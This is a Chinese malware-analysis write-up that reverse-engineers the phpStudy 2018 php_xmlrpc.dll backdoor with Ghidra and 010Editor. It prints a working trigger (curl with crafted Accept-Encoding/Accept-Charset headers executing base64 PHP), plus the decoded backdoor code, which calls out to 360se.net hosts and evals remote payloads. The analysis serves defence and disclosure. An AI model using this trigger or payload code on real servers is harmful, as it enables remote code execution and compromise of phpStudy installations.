作者:lu4nx@知道創宇404積極防御實驗室
作者博客:《使用 Ghidra 分析 phpStudy 后門》
這次事件已過去數日,該響應的也都響應了,雖然網上有很多廠商及組織發表了分析文章,但記載分析過程的不多,我只是想正兒八經用 Ghidra 從頭到尾分析下。
1 工具和平臺
主要工具:
- Kali Linux
- Ghidra 9.0.4
- 010Editor 9.0.2
樣本環境:
- Windows7
- phpStudy 20180211
2 分析過程
先在 Windows 7 虛擬機中安裝 PhpStudy 20180211,然后把安裝完后的目錄拷貝到 Kali Linux 中。
根據網上公開的信息:后門存在于 php_xmlrpc.dll 文件中,里面存在“eval”關鍵字,文件 MD5 為 c339482fd2b233fb0a555b629c0ea5d5。
因此,先去找到有后門的文件:
lu4nx@lx-kali:/tmp/phpStudy$ find ./ -name php_xmlrpc.dll -exec md5sum {} \;
3d2c61ed73e9bb300b52a0555135f2f7 ./PHPTutorial/php/php-7.2.1-nts/ext/php_xmlrpc.dll
7c24d796e0ae34e665adcc6a1643e132 ./PHPTutorial/php/php-7.1.13-nts/ext/php_xmlrpc.dll
3ff4ac19000e141fef07b0af5c36a5a3 ./PHPTutorial/php/php-5.4.45-nts/ext/php_xmlrpc.dll
c339482fd2b233fb0a555b629c0ea5d5 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll
5db2d02c6847f4b7e8b4c93b16bc8841 ./PHPTutorial/php/php-7.0.12-nts/ext/php_xmlrpc.dll
42701103137121d2a2afa7349c233437 ./PHPTutorial/php/php-5.3.29-nts/ext/php_xmlrpc.dll
0f7ad38e7a9857523dfbce4bce43a9e9 ./PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll
149c62e8c2a1732f9f078a7d17baed00 ./PHPTutorial/php/php-5.5.38/ext/php_xmlrpc.dll
fc118f661b45195afa02cbf9d2e57754 ./PHPTutorial/php/php-5.6.27-nts/ext/php_xmlrpc.dll
將文件 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 單獨拷貝出來,再確認下是否存在后門:
lu4nx@lx-kali:/tmp/phpStudy$ strings ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll | grep eval
zend_eval_string
@eval(%s('%s'));
%s;@eval(%s('%s'));
從上面的搜索結果可以看到文件中存在三個“eval”關鍵字,現在用 Ghidra 載入分析。
在 Ghidra 中搜索下:菜單欄“Search” > “For Strings”,彈出的菜單按“Search”,然后在結果過濾窗口中過濾“eval”字符串,如圖:

從上方結果“Code”字段看的出這三個關鍵字都位于文件 Data 段中。隨便選中一個(我選的“@eval(%s(‘%s’));”)并雙擊,跳轉到地址中,然后查看哪些地方引用過這個字符串(右擊,References > Show References to Address),操作如圖:

結果如下:

可看到這段數據在 PUSH 指令中被使用,應該是函數調用,雙擊跳轉到匯編指令處,然后 Ghidra 會自動把匯編代碼轉成較高級的偽代碼并呈現在 Decompile 窗口中:

如果沒有看到 Decompile 窗口,在菜單Window > Decompile 中打開。
在翻譯后的函數 FUN_100031f0 中,我找到了前面搜索到的三個 eval 字符,說明這個函數中可能存在多個后門(當然經過完整分析后存在三個后門)。
這里插一句,Ghidra 轉換高級代碼能力比 IDA 的 Hex-Rays Decompiler 插件要差一些,比如 Ghidra 轉換的這段代碼:
puVar8 = local_19f;
while (iVar5 != 0) {
iVar5 = iVar5 + -1;
*puVar8 = 0;
puVar8 = puVar8 + 1;
}
在IDA中翻譯得就很直觀:
memset(&v27, 0, 0xB0u);
還有對多個邏輯的判斷,IDA 翻譯出來是:
if (a && b){
...
}
Ghidra 翻譯出來卻是:
if (a) {
if(b) {
}
}
而多層 if 嵌套閱讀起來會經常迷路。總之 Ghidra 翻譯的代碼只有反復閱讀后才知道是干嘛的,在理解這類代碼上我花了好幾個小時。
2.1 第一個遠程代碼執行的后門
第一個后門存在于這段代碼:
iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8,
s__SERVER_1000ec9c,~uVar6,&local_14);
if (iVar5 != -1) {
uVar6 = 0xffffffff;
pcVar9 = s_HTTP_ACCEPT_ENCODING_1000ec84;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28
);
if (iVar5 != -1) {
pcVar9 = s_gzip,deflate_1000ec74;
pbVar4 = *(byte **)*local_28;
pbVar7 = pbVar4;
do {
bVar2 = *pbVar7;
bVar11 = bVar2 < (byte)*pcVar9;
if (bVar2 != *pcVar9) {
LAB_10003303:
iVar5 = (1 - (uint)bVar11) - (uint)(bVar11 != false);
goto LAB_10003308;
}
if (bVar2 == 0) break;
bVar2 = pbVar7[1];
bVar11 = bVar2 < ((byte *)pcVar9)[1];
if (bVar2 != ((byte *)pcVar9)[1]) goto LAB_10003303;
pbVar7 = pbVar7 + 2;
pcVar9 = (char *)((byte *)pcVar9 + 2);
} while (bVar2 != 0);
iVar5 = 0;
LAB_10003308:
if (iVar5 == 0) {
uVar6 = 0xffffffff;
pcVar9 = s__SERVER_1000ec9c;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) +
0xd8,s__SERVER_1000ec9c,~uVar6,&local_14);
if (iVar5 != -1) {
uVar6 = 0xffffffff;
pcVar9 = s_HTTP_ACCEPT_CHARSET_1000ec60;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6,
&local_1c);
if (iVar5 != -1) {
uVar6 = 0xffffffff;
pcVar9 = *(char **)*local_1c;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);
if (local_10 != (undefined4 *)0x0) {
iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
local_24 = *(undefined4 *)(iVar5 + 0x128);
*(undefined **)(iVar5 + 0x128) = local_ec;
iVar5 = _setjmp3(local_ec,0);
uVar3 = local_24;
if (iVar5 == 0) {
zend_eval_string(local_10,0,&DAT_10012884,param_3);
}
else {
*(undefined4 *)
(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =
local_24;
}
*(undefined4 *)
(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3;
}
}
}
}
}
}
閱讀起來非常復雜,大概邏輯就是通過 PHP 的 zend_hash_find 函數尋找 $_SERVER 變量,然后找到 Accept-Encoding 和 Accept-Charset 兩個 HTTP 請求頭,如果 Accept-Encoding 的值為 gzip,deflate,就調用 zend_eval_string 去執行 Accept-Encoding 的內容:
zend_eval_string(local_10,0,&DAT_10012884,param_3);
這里 zend_eval_string 執行的是 local_10 變量的內容,local_10 是通過調用一個函數賦值的:
local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);
函數 FUN_100040b0 最后分析出來是做 Base64 解碼的。
到這里,就知道該如何構造 Payload 了:
Accept-Encoding: gzip,deflate
Accept-Charset: Base64加密后的PHP代碼
朝虛擬機構造一個請求:
$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6
結果如圖:

2.2 第二處后門
沿著偽代碼繼續分析,看到這一段代碼:
if (iVar5 == 0) {
puVar8 = &DAT_1000d66c;
local_8 = &DAT_10012884;
piVar10 = &DAT_1000d66c;
do {
if (*piVar10 == 0x27) {
(&DAT_10012884)[iVar5] = 0x5c;
(&DAT_10012885)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 2;
piVar10 = piVar10 + 2;
}
else {
(&DAT_10012884)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 1;
piVar10 = piVar10 + 1;
}
puVar8 = puVar8 + 1;
} while ((int)puVar8 < 0x1000e5c4);
spprintf(&local_20,0,s_$V='%s';$M='%s';_1000ec3c,&DAT_100127b8,&DAT_10012784);
spprintf(&local_8,0,s_%s;@eval(%s('%s'));_1000ec28,local_20,s_gzuncompress_1000d018,
local_8);
iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
local_10 = *(undefined4 **)(iVar5 + 0x128);
*(undefined **)(iVar5 + 0x128) = local_6c;
iVar5 = _setjmp3(local_6c,0);
uVar3 = local_10;
if (iVar5 == 0) {
zend_eval_string(local_8,0,&DAT_10012884,param_3);
}
else {
*(undefined4 **)
(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_10;
}
*(undefined4 *)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =
uVar3;
return 0;
}
重點在這段:
puVar8 = &DAT_1000d66c;
local_8 = &DAT_10012884;
piVar10 = &DAT_1000d66c;
do {
if (*piVar10 == 0x27) {
(&DAT_10012884)[iVar5] = 0x5c;
(&DAT_10012885)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 2;
piVar10 = piVar10 + 2;
}
else {
(&DAT_10012884)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 1;
piVar10 = piVar10 + 1;
}
puVar8 = puVar8 + 1;
} while ((int)puVar8 < 0x1000e5c4);
變量 puVar8 是作為累計變量,這段代碼像是拷貝地址 0x1000d66c 至 0x1000e5c4 之間的數據,于是選中切這行代碼:
puVar8 = &DAT_1000d66c;
雙擊 DAT_1000d66c,Ghidra 會自動跳轉到該地址,然后在菜單選擇 Window > Bytes 來打開十六進制窗口,現已處于地址 0x1000d66c,接下來要做的就是把 0x1000d66c~0x1000e5c4 之間的數據拷貝出來:
- 選擇菜單 Select > Bytes;
- 彈出的窗口中勾選“To Address”,然后在右側的“Ending Address”中填入 0x1000e5c4,如圖:

按回車后,這段數據已被選中,我把它們單獨拷出來,點擊右鍵,選擇 Copy Special > Byte String (No Spaces),如圖:

然后打開 010Editor 編輯器:
- 新建文件:File > New > New Hex File;
- 粘貼拷貝的十六進制數據:Edit > Paste From > Paste from Hex Text
然后,把“00”字節全部去掉,選擇 Search > Replace,查找 00,Replace 那里不填,點“Replace All”,處理后如下:

把處理后的文件保存為 p1。通過 file 命令得知文件 p1 為 Zlib 壓縮后的數據:
$ file p1
p1: zlib compressed data
用 Python 的 zlib 庫就可以解壓,解壓代碼如下:
import zlib
with open("p1", "rb") as f:
data = f.read()
print(zlib.decompress(data))
執行結果如下:
lu4nx@lx-kali:/tmp$ python3 decom.py
b"$i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs='));"
用 base64 命令把這段 Base64 代碼解密,過程及結果如下:
lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs=' | base64 -d
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
2.3 第三個后門
第三個后門和第二個實現邏輯其實差不多,代碼如下:
puVar8 = &DAT_1000d028;
local_c = &DAT_10012884;
iVar5 = 0;
piVar10 = &DAT_1000d028;
do {
if (*piVar10 == 0x27) {
(&DAT_10012884)[iVar5] = 0x5c;
(&DAT_10012885)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 2;
piVar10 = piVar10 + 2;
}
else {
(&DAT_10012884)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 1;
piVar10 = piVar10 + 1;
}
puVar8 = puVar8 + 1;
} while ((int)puVar8 < 0x1000d66c);
spprintf(&local_c,0,s_@eval(%s('%s'));_1000ec14,s_gzuncompress_1000d018,&DAT_10012884);
iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
local_18 = *(undefined4 *)(iVar5 + 0x128);
*(undefined **)(iVar5 + 0x128) = local_ac;
iVar5 = _setjmp3(local_ac,0);
uVar3 = local_18;
if (iVar5 == 0) {
zend_eval_string(local_c,0,&DAT_10012884,param_3);
}
重點在這段:
puVar8 = &DAT_1000d028;
local_c = &DAT_10012884;
iVar5 = 0;
piVar10 = &DAT_1000d028;
do {
if (*piVar10 == 0x27) {
(&DAT_10012884)[iVar5] = 0x5c;
(&DAT_10012885)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 2;
piVar10 = piVar10 + 2;
}
else {
(&DAT_10012884)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 1;
piVar10 = piVar10 + 1;
}
puVar8 = puVar8 + 1;
} while ((int)puVar8 < 0x1000d66c);
后門代碼在地址 0x1000d028~0x1000d66c 中,提取和處理方法與第二個后門的一樣。找到并提出來,如下:
lu4nx@lx-kali:/tmp$ python3 decom.py
b" @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));"
把這段Base64代碼解碼:
lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==' | base64 -d
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
3 參考
- https://github.com/jas502n/PHPStudy-Backdoor
- 《phpStudy 遭黑客入侵植入后門事件披露 | 微步在線報告》
- 《PhpStudy 后門分析》,作者:Hcamael@知道創宇 404 實驗室
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1058/
暫無評論